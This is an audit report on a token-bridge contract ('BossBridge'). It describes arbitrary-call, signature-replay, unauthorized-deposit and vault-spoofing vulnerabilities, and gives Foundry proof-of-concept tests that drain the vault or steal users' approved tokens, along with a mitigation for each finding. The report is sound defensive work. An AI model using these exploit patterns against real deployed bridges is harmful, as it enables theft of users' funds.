BossBridge Audit Report

Version 1.0

Jack

August 01, 2025

BossBridge Audit Report

Jack

August 01, 2025

Prepared by: Jack Lead Auditors: - Jack

Table of Contents

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

We plan on launching `L1BossBridge` on both Ethereum Mainnet and ZKSync.

Token Compatibility

For the moment, assume *only* the `L1Token.sol` or copies of it will be used as tokens for the bridge. This means all other ERC20s and their weirdness is considered out-of-scope.

On withdrawals

The bridge operator is in charge of signing withdrawal requests submitted by users. These will be submitted on the L2 component of the bridge, not included here. Our service will validate the payloads submitted by users, checking that the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge.

Disclaimer

The Jack team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375
- In scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    * L1BossBridge.sol
    * L1Token.sol

    * L1Vault.sol
    * TokenFactory.sol
  - ZKSync Era:
    * TokenFactory.sol
  - Tokens:
    * L1Token.sol (And copies, with different names & initial supplies)

Actors/Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Known Issues

- We are aware the bridge is centralized and owned by a single user, aka it is centralized.
- We are missing some zero address checks/input validation intentionally to save gas.
- We have magic numbers defined as literals that should be constants.
- Assume the `deployToken` will always correctly have an L1Token.sol copy, and not some weird erc20

Executive Summary

Issues found

Severity	Number of issues found
High	5
Medium	0
Low	0

Severity	Number of issues found
Info	4
Total	9

Findings

High

[H-1] Unrestricted Arbitrary Operation Execution

Description:
The `sendToL1` function decodes an externally-signed `message` into `(target, value, data)` and immediately executes

```
(bool success,) = target.call{ value: value }(data);
```

without any validation of the `target` address or the contents of `data`. As a result, any authorized signer can instruct the bridge to invoke arbitrary functions on arbitrary contracts—trusted or untrusted—potentially altering state, approving allowances, or triggering self-destructs.

Impact:
• A malicious or compromised signer can use the bridge to drain funds from vaults or other critical contracts by calling `transfer`, `approve`, or similar privileged methods.
• An attacker may reenter the bridge or corrupt its internal state via calls to upgradeable proxy admin functions or malicious fallback logic.
• Legitimate off-chain monitoring cannot distinguish harmful payloads from valid ones, delaying detection and response.
• Any contract reachable via `target` becomes effectively a backdoor for asset theft, denial of service, or irreversible damage.

Proof of Concept:
1. Attacker controls a private key in the `signers` whitelist.
2. Craft `message` where:
- `target` = address of the vault contract.
- `data = abi.encodeWithSignature("approve(address,uint256)", attacker, type(uint256).max)`.
3. Sign the `message` and call `sendToL1(...)`.

4. On execution, the vault contract unknowingly grants the attacker unlimited token allowance, enabling full asset drain.

Recommended Mitigation:
1. **Target Whitelisting:** Restrict `target` to a predefined list of audited bridge-related contracts.
2. **Selector Filtering:** Extract and validate the first four bytes of `data` against an allowlist of safe function selectors.
3. **Typed Action Model:** Replace raw `bytes data` with a strongly-typed enum and parameters, ensuring only permitted operations can be invoked.
4. **Off-Chain Relay:** Emit an event for each requested operation and require a trusted multisig or relayer to execute the call after manual or automated policy checks.

[H-2] Signature Replay Vulnerability

Description:
The `sendToL1` function recovers a signer from the hash of the raw `message` bytes and executes it without any nonce, sequence number, or expiration timestamp embedded in or associated with that message. As a result, once a valid signature over a given `message` is observed, the same `(v, r, s, message)` tuple can be submitted repeatedly by any relayer to re-invoke the exact same L1 operation.

Impact:
- An attacker or any third-party relayer who obtains a single signed message can replay it indefinitely, causing unauthorized repeated executions (e.g., multiple withdrawals, repeated token approvals).
- Funds or permissions granted by a one-time operation can be drained or abused multiple times, leading to severe asset loss.
- There is no on-chain mechanism to distinguish a fresh request from a replayed one, undermining any intended “one-time” or “limited” action semantics.

Proof of Concept:
Following is the test code

```
    function testSignatureReplay() public {
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        // assume the vault already holds some token
        deal(address(token), address(vault), vaultInitialBalance);
        address attacker = makeAddr("attacker");
        deal(address(token), address(attacker), attackerInitialBalance)
            ;

        // An attacker deposits some tokens into the vault
        uint256 depositAmount = attackerInitialBalance;
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), depositAmount);
        tokenBridge.depositTokensToL2(attacker, attacker, depositAmount
           );

        // How to get message?
        bytes memory message = abi.encode(
            address(token), // target
            0, // value
            abi.encodeCall(IERC20.transferFrom,
                (address(vault),
                attacker,
                depositAmount)
            ) // data
        );

        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(operator.key,
            MessageHashUtils.toEthSignedMessageHash(keccak256(message))
        );

        // replay
        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker, depositAmount, v,
               r, s);
        }
        vm.stopPrank();

        assertEq(token.balanceOf(address(vault)), 0);
        assertEq(token.balanceOf(address(attacker)),
           vaultInitialBalance + attackerInitialBalance);
    }
```

Recommended Mitigation:

1. **Per-Signer Nonce:**

- Maintain a mapping `mapping(address => uint256)nonces;` and require that the signed `message` includes the expected nonce for `signer`.
- After successful execution, increment `nonces[signer]`. Reject any message whose embedded nonce does not match the current on-chain nonce.

2. **Deadline / Expiration:**

- Embed a timestamp or block number deadline in the signed payload and enforce `require(block.timestamp <= deadline)` (or block number check) before processing.
- This prevents unlimited replay beyond the intended window.

3. **EIP-712 Typed Data:**

- Adopt an EIP-712 domain with a structured `ExecuteRequest { address target; uint256 value; bytes data; uint256 nonce; uint256 deadline; }`.

- Use the typed data hashing and recovery to ensure both replay protection and human-readable signature context.

[H-3] Incompatible CREATE Opcode Usage on zkSync

Description:
The `deployToken` function uses inline assembly to invoke the low-level `CREATE` opcode:

```
assembly {
    addr := create(0, add(contractBytecode, 0x20), mload(
        contractBytecode))
}
```

According to zkSync's L2 specification, contracts cannot execute the raw `CREATE` opcode within their bytecode. As a result, any attempt to deploy a new ERC-20 via this method on zkSync will either revert at runtime or return the zero address.

Impact:
- On zkSync networks, `deployToken` will never yield a valid contract address. Instead, it reverts or sets `addr == address(0)`.
- The subsequent mapping `s_tokenToAddress[symbol] = addr` stores the zero address, breaking all downstream logic that expects a real token contract.
- Cross-chain bridge operations relying on these dynamically deployed tokens will be disabled, potentially locking user funds or blocking withdrawals.
- Consumers of `getTokenAddressFromSymbol` will receive `0x000...00`, leading to silent failures or funds sent to the zero address.

Recommended Mitigation:
1. Replace the assembly block with Solidity's native deployment syntax:
`solidity ERC20Token token = new ERC20Token(/*constructor args */);`
`addr = address(token);`
The compiler will generate zkSync-compatible opcodes.
2. If deterministic addresses are required, use `CREATE2` via a dedicated factory contract that is verified to work on zkSync, or leverage zkSync's official deployment SDK.
3. Alternatively, pre-deploy all required token contracts off-chain and supply their addresses to the bridge via constructor parameters or a governance-controlled setter, avoiding on-chain dynamic deployment entirely.

[H-4] Unrestricted “from” Parameter in depositTokensToL2

Description:
The `depositTokensToL2` function allows any caller to specify an arbitrary `from` address when invoking

```
token.safeTransferFrom(from, address(vault), amount);
```

There is no check that `msg.sender` equals `from` (or is otherwise authorized by `from`). If a user has previously called `approve(L1BossBridge, N)`, any third-party can submit `depositTokensToL2(user, attacker, N)` and pull tokens from the user’s balance into the vault for the attacker’s benefit.

Impact:
• Any attacker can drain tokens from any user who has granted allowance to the bridge contract, by simply invoking `depositTokensToL2` with the victim’s address as `from` and the attacker’s address as `l2Recipient`.
• The vault becomes the recipient of stolen tokens and issues L2 credit to the attacker, effectively stealing user funds.
• The user has no on-chain recourse, since the bridge contract behaved “correctly” under ERC-20 semantics.

Proof of Concept:
Following is the test code

```
function testStealMoneyFromOtherUsers() public {
        // alice
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        // attacker setup
        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);

        assertEq(token.balanceOf(address(user)), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

Alice’s money will be stolen by the attacker.

Recommended Mitigation:

• Enforce that only the token holder may initiate a deposit: replace `from` with `msg.sender`, or add `require(from == msg.sender, "UNAUTHORIZED_SENDER")`.
• If a relayer pattern is required, have users sign a deposit intent off-chain (including `from`, `l2Recipient`, `amount`, `nonce`, `deadline`) via EIP-712, then verify the signature on-chain rather than trusting an unrestricted `from` parameter.
• Emit an event before token transfer (CEI pattern) and perform input validation early.

[H-5] Unlimited L2 Mint via Vault Spoofing

Description:
In the constructor, the bridge deploys a dedicated `vault` and then calls

```
vault.approveTo(address(this), type(uint256).max);
```

granting the bridge unlimited allowance over the vault's balance. In `depositTokensToL2`, any caller may specify `from`, so an attacker can pass `from = address(vault)`. The subsequent call

```
token.safeTransferFrom(address(vault), address(vault), amount);
```

always succeeds (transferring tokens from the vault back into itself), even though no real funds move. Immediately after, the contract emits `Deposit(vault, l2Recipient, amount)`, which downstream systems interpret as a valid lock event and mint the corresponding `amount` of L2 tokens to `l2Recipient`.

Impact:
• Attackers can mint unlimited L2 tokens at zero L1 cost by repeatedly calling `depositTokensToL2(vault, attackerAddress, N)`.
• This completely breaks the bridge's economic guarantees, leading to total inflation of the L2 asset and loss of user trust.
• Upstream balances in the vault are unaffected, so on-chain checks and balance accounting do not detect the theft until massive minting has occurred.

Proof of Concept:
The following is the test code

```
function testStealMoneyFromTheVault() public {
        // alice
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        // bob
        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            depositAmount);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            depositAmount);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            depositAmount);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            depositAmount);

        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

Recommended Mitigation:
1. **Validate `from` against `msg.sender`:**
`solidity require(from == msg.sender, "UNAUTHORIZED_FROM");`
ensuring only the token holder can initiate a deposit.
2. **Disallow Vault as `from`:**
`solidity require(from != address(vault), "INVALID_FROM_VAULT");`
preventing spoofing of the vault address.

Medium

Low

Informational

[I-1] `token` Declared as Mutable Instead of Immutable

Description:
In `L1Vault`, the `token` state variable is declared as a regular mutable storage slot but is only ever set once in the constructor.

```
IERC20 public token;

constructor(IERC20 _token) Ownable(msg.sender) {
    token = _token;
}
```

Since its value never changes after deployment, it should be declared as `immutable` (or `constant` if appropriate) rather than a mutable variable.

Impact:
- Gas Inefficiency: Reading from a mutable storage slot is more expensive than accessing an `immutable` variable, increasing transaction costs for `approveTo` and any future functions that reference `token`.
- Larger Bytecode: An unnecessary storage slot inflates contract size, raising deployment and verification costs.
- Accidental Reassignment Risk: Future code changes or upgrades may inadvertently overwrite `token`, redirecting approvals to an unintended token and compromising vault security.

Recommended Mitigation:
Declare `token` as `immutable` to lock its value at deployment and enable compiler inlining:

```
contract L1Vault is Ownable {
    IERC20 public immutable token;

    constructor(IERC20 _token) Ownable(msg.sender) {
        token = _token;
    }

    function approveTo(address target, uint256 amount) external
        onlyOwner {
        token.approve(target, amount);
    }
}
```

This change reduces gas costs, shrinks bytecode, and prevents any accidental reassignment of the vault's underlying asset.

[I-2] Violation of CEI Pattern in depositTokensToL2

Description:
In `depositTokensToL2`, the external token transfer occurs before emitting the `Deposit` event. According to the Check–Effects–Interactions (CEI) pattern, all internal effects (including event emissions) should precede external calls to untrusted contracts:

```
// Current ordering:
token.safeTransferFrom(from, address(vault), amount);  // interaction
emit Deposit(from, l2Recipient, amount);              // effect
```

Recommended Mitigation:
- Follow CEI by emitting the event before the external call:

```
emit Deposit(from, l2Recipient, amount);              // effect
```

```
token.safeTransferFrom(from, address(vault), amount); // interaction
```

- Add a reentrancy guard (e.g., OpenZeppelin's `ReentrancyGuard`) to prevent nested calls:

```
function depositTokensToL2(...) external whenNotPaused
    nonReentrant {
    // check
    emit Deposit(...);
    token.safeTransferFrom(...);
}
```

[I-3] `DEPOSIT_LIMIT` Declared as Mutable Instead of Constant

Description:
The `DEPOSIT_LIMIT` variable is defined as a public, mutable storage variable:

```
uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

However, its value is set exactly once at declaration and never modified thereafter. Such a truly constant parameter should be marked `constant` to reflect its immutability.

Recommended Mitigation:
Declare `DEPOSIT_LIMIT` as a compile-time constant to inline its value and eliminate the storage slot:

```
uint256 public constant DEPOSIT_LIMIT = 100_000 ether;
```

If a deploy-time configurable limit is ever required, use `immutable` instead:

```
uint256 public immutable DEPOSIT_LIMIT;

constructor(uint256 depositLimit_) {
    DEPOSIT_LIMIT = depositLimit_;
}
```

[I-4] Unbounded Data Payload Gas Bomb Risk

Description:
In `L1BossBridge::sendToL1`, the contract takes an arbitrary `message` payload, decodes it to `(target, value, data)`, and then performs

```
(bool success,) = target.call{ value: value }(data);
```

Since `data` can be crafted by any signer-authorized user and `.call` forwards all remaining gas, an attacker can supply a very large or computationally expensive `data` payload. This unbounded forwarding of gas combined with arbitrary calldata enables a "gas bomb" where execution of the call consumes excessive gas or even reverts due to out-of-gas, resulting in a denial-of-service.

Impact:
- A malicious signer can craft `message` with huge or deeply nested calldata that triggers expensive operations in the target contract, causing `sendToL1` to run out of gas before completion.
- Repeated DoS: if the bridge is used in a queue or batch, a single malformed message can block all subsequent withdrawals or L1 operations.
- Funds locked: legitimate withdrawals may be blocked until the attacker's transaction is removed or the contract is upgraded.
- Increased gas usage: even if not reverted, costly calldata increases transaction gas, raising costs for end users.

Recommended Mitigation:
1. **Limit Calldata Size:**
`solidity require(message.length <= 1024, "Message too large");`
2. **Cap Forwarded Gas:** Forward only a fixed stipend of gas to the target call:
`solidity uint256 gasLimit = 200_000; (bool success,)= target.call{ value: value, gas: gasLimit }(data);`
3. **Whitelist Targets / Methods:** Only allow calls to known, audited contracts or specific function selectors, rejecting arbitrary addresses or bytes.
4. **Reentrancy Guard & Try/Catch:** Wrap the external call in a **`try`**/**`catch`** or use a dedicated executor with limited gas to isolate failures.
5. **Separate Pull Mechanism:** Instead of executing arbitrary calls, emit an event for off-chain relayers to perform the L1 transaction, decoupling on-chain gas usage from user-provided data.